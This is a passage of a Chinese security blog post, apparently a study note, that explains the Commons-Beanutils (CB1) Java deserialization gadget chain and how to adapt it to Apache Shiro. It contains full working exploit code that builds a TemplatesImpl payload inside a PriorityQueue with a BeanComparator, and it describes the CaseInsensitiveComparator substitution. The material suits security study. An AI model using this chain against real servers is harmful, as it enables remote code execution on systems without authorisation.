int\uff09<\/li>\n<\/ul>\n\n\n\n<p>\u800c\u5b83\u63d0\u4f9b\u4e86\u4e00\u4e2a\u9759\u6001\u65b9\u6cd5&nbsp;<code>PropertyUtils.getProperty<\/code>&nbsp;\uff0c\u8ba9\u4f7f\u7528\u8005\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528\u4efb\u610fJavaBean\u7684getter\u65b9\u6cd5\uff0c\u8fd9\u91cc\u6211\u4e0b\u4e86\u4e00\u4e2a<a href=\"https:\/\/mvnrepository.com\/artifact\/commons-beanutils\/commons-beanutils\/1.8.3\">1.8.3<\/a>\u7684\uff0c\u7136\u540e\u8865\u4e86\u4e00\u4e2a<a href=\"https:\/\/mvnrepository.com\/artifact\/commons-logging\/commons-logging\/1.2\">commons-logging-1.2.jar<\/a>\uff0c\u6bd4\u5982\u4e0b\u9762\u8fd9\u4e2a\u4ee3\u7801\u4f8b\u5b50\uff1a<\/p>\n\n\n\n<p>\u6211\u4eec\u9996\u5148\u521b\u5efa\u4e00\u4e2aCat.java\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CB;\n\npublic class Cat {\n    private String name = \"\u80d6\u5b9d\u5b9d\";\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u518d\u5199\u4e00\u4e2agetPropertyTest.java\uff0c\u6211\u4eec\u76f4\u63a5\u4f7f\u7528 <code>PropertyUtils<\/code> \u6765\u8c03\u7528 getter \u83b7\u53d6 Cat \u91cc\u7684 name \u5c5e\u6027\uff08\u4f46\u6ce8\u610f\uff0c\u5982\u679c\u90a3\u4e2a\u7c7b\u91cc\u6ca1\u5199 <code>getXxx()<\/code>\uff0c\u5b83\u662f\u53d6\u4e0d\u5230\u7684\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CB;\n\nimport org.apache.commons.beanutils.PropertyUtils;\n\npublic class getPropertyTest {\n    public static void main(String&#91;] args) throws Exception {\n        System.out.println(PropertyUtils.getProperty(new Cat(), \"name\"));\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-235234-26-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250426-235234-26-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:722px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u56de\u5230\u4eca\u5929\u7684\u4e3b\u9898 CB \u94fe\uff0c\u6211\u4eec\u7684\u5165\u53e3\u70b9\u5176\u5b9e\u8fd8\u662f <code>PriorityQueue<\/code> \uff0c\u56e0\u4e3a\u5b83\u5728\u53cd\u5e8f\u5217\u5316\u540e\u4e3a\u4e86\u4fdd\u8bc1\u6709\u5e8f\u4f1a\u81ea\u52a8\u8c03\u7528\u4e00\u6b21\u6bd4\u8f83\u5668\u7684 <code>compare<\/code>\uff0c\u800cCB\u94fe\u672c\u8eab\u5176\u5b9e\u5c31\u662f\u60f3\u4e00\u4e2a\u65b0\u7684\u65b9\u6cd5\u5229\u7528 <code>java.util.Comparator<\/code> \uff0c\u601d\u8003\u5982\u4f55\u89e6\u53d1 <code>transform<\/code> \u6267\u884c\u6076\u610f\u4ee3\u7801\uff0c\u800c CB \u94fe\u4e2d\u6211\u4eec\u7684\u89e6\u53d1\u70b9\u5c31\u5728 <code>org.apache.commons.beanutils.BeanComparator<\/code>\uff0c\u8fd9\u5c31\u662f <code>commons-beanutils<\/code> \u63d0\u4f9b\u7684\u6bd4\u8f83\u4e24\u4e2aJavaBean\u662f\u5426\u76f8\u7b49\u7684\u7c7b\uff0c\u91cc\u9762\u6709\u4e00\u4e2a&nbsp;<code>java.util.Comparator<\/code>&nbsp;\u63a5\u53e3\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-220038-27-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-220038-27-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:655px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u7b80\u5355\u5206\u6790\u4e00\u4e0b\u903b\u8f91\uff0c\u5982\u679cproperty\u4e0d\u4e3anull\uff0c\u90a3\u4e48\u5c31\u4f1a\u6267\u884c <code>PropertyUtils.getProperty<\/code> \u8c03\u7528JavaBean\u7684getter\u65b9\u6cd5\u53bb\u83b7\u53d6\u503c\u8fdb\u884c <code>compare<\/code>\uff0c\u73b0\u5728\u6211\u4eec\u5b9e\u9645\u4e0a\u5c31\u80fd\u5bf9\u4efb\u610f\u65b9\u6cd5\u8fdb\u884c get \u8c03\u7528\uff0c\u90a3\u6709\u6ca1\u6709\u4ec0\u4e48 get \u65b9\u6cd5\u80fd\u6267\u884c\u6076\u610f\u4ee3\u7801\u5462\uff1f\u6709\u7684\uff0c\u90a3\u5c31\u662f\u6211\u4eec\u719f\u6089\u7684 <code>TemplatesImpl<\/code> \uff0c\u5176\u5b9e\u5728 <code>TemplatesImpl#newTransformer()<\/code> \u7684\u4e0a\u9762\u8fd8\u6709\u4e00\u5c42\uff0c\u90a3\u5c31\u662f <code>TemplatesImpl#getOutputProperties()<\/code>\uff0c\u5b83\u53ef\u662f\u80fd\u8c03\u7528 <code>newTransformer<\/code> \u7684\uff0c\u800c\u5b83\u662f\u7b26\u5408JavaBean\u7684getter\u7684\u5b9a\u4e49\u7684\uff0c\u5f53\u7136\u4e5f\u80fd\u88ab\u6211\u4eec\u5229\u7528\u4e0a\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-221525-27-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-221525-27-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:605px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6b64\u65f6\u5bf9\u4e8e <code>PropertyUtils.getProperty(o1, this.property)<\/code>\uff0c\u53ea\u8981 o1 \u662f\u4e00\u4e2a <code>TemplatesImpl<\/code> \uff0c<code>this.property<\/code> \u662f <code>OutputProperties<\/code> \uff0c\u90a3\u4e48\u5c31\u4f1a\u81ea\u52a8\u8c03\u7528 <code>getOutputProperties<\/code> \uff0c\u4ece\u800c\u6267\u884c\u4ee3\u7801\uff0c\u8fd9\u4e5f\u5c31\u80fd\u63a5\u4e0a\u6211\u4eec\u4e4b\u524d\u7684 CC2 \u94fe\u5b50\u4e86\u3002<\/p>\n\n\n\n<p>\u8001\u5957\u8def\uff0c\u9996\u5148\u521b\u5efa&nbsp;<code>TemplatesImpl<\/code>&nbsp;\u5bf9\u8c61\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>TemplatesImpl obj = new TemplatesImpl();\nsetFieldValue(obj, \"_bytecodes\", new byte&#91;]&#91;]{code});\nsetFieldValue(obj, \"_name\", \"HelloTemplatesImpl\");\nsetFieldValue(obj, \"_tfactory\", new TransformerFactoryImpl());<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u5b9e\u4f8b\u5316\u4e00\u4e2a <code>BeanComparator<\/code> \uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>final BeanComparator comparator = new BeanComparator();<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u7528\u8fd9\u4e2a <code>comparator<\/code> \u5b9e\u4f8b\u5316\u4f18\u5148\u961f\u5217  <code>PriorityQueue<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>final PriorityQueue&lt;Object&gt; queue = new PriorityQueue&lt;Object&gt;(2, comparator);\n\/\/ stub data for replacement later\nqueue.add(1);\nqueue.add(1);<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u9700\u8981\u628a <code>TemplatesImpl<\/code> \u5bf9\u8c61\u4f20\u5165 <code>PriorityQueue<\/code> \u7684 <code>queue<\/code>\uff0c\u628a <code>BeanComparator<\/code> \u4f20\u5165 <code>PriorityQueue<\/code> \u7684 <code>comparator<\/code>\uff0c\u8fd9\u6837\u5f53\u6211\u4eec\u628a <code>property <\/code>\u4f20\u503c\u4e3a <code>outputProperties<\/code>\uff0c\u5c31\u4f1a\u8c03\u7528 <code>getProperty<\/code>  \u4ece\u800c\u89e6\u53d1 <code>TemplatesImpl#getOutputProperties()<\/code> \u8fdb\u5165\u5230\u5229\u7528\u94fe\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>setFieldValue(comparator, \"property\", \"outputProperties\");\nsetFieldValue(queue, \"queue\", new Object&#91;]{obj, obj});<\/code><\/pre>\n\n\n\n<p>\u5b8c\u6574\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CB;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport org.apache.commons.beanutils.BeanComparator;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.util.PriorityQueue;\n\npublic class CB1 {\n    public static void setFieldValue(Object obj, String fieldName, Object\n            value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n\n    public static void main(String&#91;] args) throws Exception {\n        ClassPool pool = ClassPool.getDefault();\n        pool.insertClassPath(\"C:\\\\Users\\\\24254\\\\Desktop\\\\java\u7b14\u8bb0\\\\java-top-speed\\\\src\\\\shiroTest\");\n        CtClass clazzz = pool.get(\"EvilTest\");\n        byte&#91;] code = clazzz.toBytecode();\n        TemplatesImpl obj = new TemplatesImpl();\n        setFieldValue(obj, \"_bytecodes\", new byte&#91;]&#91;]{code});\n        setFieldValue(obj, \"_name\", \"HelloTemplatesImpl\");\n        setFieldValue(obj, \"_tfactory\", new TransformerFactoryImpl());\n        BeanComparator comparator = new BeanComparator();\n        PriorityQueue queue = new PriorityQueue(2, comparator);\n        \/\/ stub data for replacement later\n        queue.add(1);\n        queue.add(1);\n        setFieldValue(comparator, \"property\", \"outputProperties\");\n        setFieldValue(queue, \"queue\", new Object&#91;]{obj, obj});\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(queue);\n        oos.close();\n        System.out.println(barr);\n        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));\n        Object o = (Object) ois.readObject();\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-223356-27-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-223356-27-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:749px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u73b0\u5728\u6211\u4eec\u6765\u601d\u8003\u5982\u4f55\u5728shiro\u91cc\u5229\u7528CB1\u94fe\uff0c\u6211\u4eec\u770bp\u795e\u7684shiro demo\u91cc\uff0c\u5176\u5b9e\u662f\u6709\u4e00\u4e2a CC \u4f9d\u8d56\u7684\uff0c\u6211\u4eec\u5148\u70b9\u53f3\u8fb9\u7684maven\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-225400-27-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-225400-27-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u518d\u70b9\u4e00\u4e0bshirodemo\u5c31\u770b\u5230\u4e86\uff0c\u6709\u4e00\u4e2aCC 3.2.1\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-225422-27-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-225422-27-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:785px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u53bb pom.xml \u91cc\u628a\u8fd9\u4e2a\u4f9d\u8d56\u5220\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-231157-27-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-231157-27-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:649px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u518d\u6253\u5f00\uff0c\u5c31\u53ef\u4ee5\u770b\u5230\u539f\u672c\u7684CC 3.2.1\u6ca1\u4e86\uff0c\u591a\u4e86\u4e00\u4e2a CB 1.8.3<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-232049-27-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-232049-27-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:564px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u56e0\u6b64\u5176\u5b9e\u4e00\u822c\u7684shiro\u73af\u5883\u662f\u6ca1\u6709CC\u7684\uff0c\u60f3\u6253\u901a\u53ea\u80fd\u9760 CB \uff0c\u4f46\u60f3\u8981\u76f4\u63a5\u9760\u6211\u4eec\u4e4b\u524d\u7684poc\u6253\u901a\u6709\u51e0\u4e2a\u5751\u70b9\uff0c\u8fd9\u91ccp\u795e\u4e5f\u8bf4\u660e\u4e86\uff0c\u9996\u5148CB\u7248\u672c\u5fc5\u987b\u4e00\u81f4\uff1a<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u5982\u679c\u4e24\u4e2a\u4e0d\u540c\u7248\u672c\u7684\u5e93\u4f7f\u7528\u4e86\u540c\u4e00\u4e2a\u7c7b\uff0c\u800c\u8fd9\u4e24\u4e2a\u7c7b\u53ef\u80fd\u6709\u4e00\u4e9b\u65b9\u6cd5\u548c\u5c5e\u6027\u6709\u4e86\u53d8\u5316\uff0c\u6b64\u65f6\u5728\u5e8f\u5217\u5316\u901a \u4fe1\u7684\u65f6\u5019\u5c31\u53ef\u80fd\u56e0\u4e3a\u4e0d\u517c\u5bb9\u5bfc\u81f4\u51fa\u73b0\u9690\u60a3\u3002\u56e0\u6b64\uff0cJava\u5728\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u63d0\u4f9b\u4e86\u4e00\u4e2a\u673a\u5236\uff0c\u5e8f\u5217\u5316\u65f6\u4f1a \u6839\u636e\u56fa\u5b9a\u7b97\u6cd5\u8ba1\u7b97\u51fa\u4e00\u4e2a\u5f53\u524d\u7c7b\u7684 serialVersionUID \u503c\uff0c\u5199\u5165\u6570\u636e\u6d41\u4e2d\uff1b\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u5982\u679c\u53d1\u73b0\u5bf9\u65b9 \u7684\u73af\u5883\u4e2d\u8fd9\u4e2a\u7c7b\u8ba1\u7b97\u51fa\u7684 serialVersionUID \u4e0d\u540c\uff0c\u5219\u53cd\u5e8f\u5217\u5316\u5c31\u4f1a\u5f02\u5e38\u9000\u51fa\uff0c\u907f\u514d\u540e\u7eed\u7684\u672a\u77e5\u9690\u60a3<\/p>\n<\/blockquote>\n\n\n\n<p>\u5176\u6b21\uff0cCB\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u5176\u5b9e\u4e5f\u4f9d\u9760\u4e86CC\uff0c\u4f46shiro\u91cc\u7684CC\u53ea\u6709\u4e00\u90e8\u5206\uff0c\u4e0d\u662f\u5168\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u4e4b\u524d\u7684\u94fe\u5b50\u76f4\u63a5\u6253\u6253\u4e0d\u901a\uff0c\u5982\u679c\u4f60\u76f4\u63a5\u6253\uff0c\u4f1a\u51fa\u73b0\u62a5\u9519\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Unable to load class named &#91;org.apache.commons.collections.comparators.ComparableComparator]<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u6765\u67e5\u627e\u4e00\u4e0b\u8fd9\u4e2a <code>ComparableComparator<\/code>\uff0c\u53ef\u4ee5\u53d1\u73b0\u662f\u5728\u5b9e\u4f8b\u5316\u7684\u65f6\u5019\uff0c\u5982\u679c\u6211\u4eec\u6ca1\u6709\u7ed9\u4ed6\u4f20\u5165comparator\uff0c\u5c31\u4f1a\u8c03\u7528\u8fd9\u4e2a <code>ComparableComparator<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-233300-27-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-233300-27-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:750px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u90a3\u4e48\u6211\u4eec\u53ea\u9700\u8981\u627e\u4e00\u4e2a <code>ComparableComparator<\/code> \u7684\u5e73\u66ff\u5373\u53ef\uff0c\u5b83\u5f97\u6ee1\u8db3\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5b9e\u73b0 java.util.Comparator\u63a5\u53e3<\/li>\n\n\n\n<li>\u5b9e\u73b0 java.io.Serializable\u63a5\u53e3<\/li>\n\n\n\n<li>Java\u3001shiro\u6216commons-beanutils\u81ea\u5e26\uff0c\u4e14\u517c\u5bb9\u6027\u5f3a<\/li>\n<\/ul>\n\n\n\n<p>\u5728 Windows \u7cfb\u7edf\u4e2d\uff0cIntelliJ IDEA \u4e2d\u7528\u4e8e\u67e5\u627e\u63a5\u53e3\u5b9e\u73b0\u7c7b\u7684\u5feb\u6377\u952e\u662f <code>Ctrl + Alt + B<\/code>\uff0c\u5f53\u6211\u4eec\u5c06\u5149\u6807\u653e\u5728\u63a5\u53e3\u540d\u79f0\u6216\u65b9\u6cd5\u4e0a\u65f6\uff0c\u6309\u4e0b\u6b64\u7ec4\u5408\u952e\uff0cIDE \u4f1a\u663e\u793a\u6240\u6709\u5b9e\u73b0\u8be5\u63a5\u53e3\u6216\u65b9\u6cd5\u7684\u7c7b\u5217\u8868\u200b\uff0c\u6211\u4eec\u5728\u8fd9\u91cc\u53ef\u4ee5\u627e\u5230\u4e00\u4e2a\u7b26\u5408\u8be5\u8981\u6c42\u7684\u76ee\u6807 <code>CaseInsensitiveComparator<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-233919-27-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-233919-27-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u770b\u4e00\u4e0b\u5b83\u7684\u5b9e\u73b0\uff0c\u5b83\u662f <code>java.lang.String<\/code> \u7c7b\u4e0b\u7684\u4e00\u4e2a\u5185\u90e8\u79c1\u6709\u7c7b\uff0c\u5e76\u4e14\u5b9e\u73b0\u4e86 <code>Comparator<\/code> \u548c <code>Serializable<\/code>\uff0c\u662f\u6211\u4eec\u7684\u5b8c\u7f8e\u66ff\u4ee3\u54c1\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-234415-27-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250427-234415-27-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:634px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u5728\u5b83\u7684\u4e0a\u9762\uff0c\u53ef\u4ee5\u770b\u5230\u4e00\u884c <code>public static final Comparator&lt;String&gt; CASE_INSENSITIVE_ORDER<br> = new 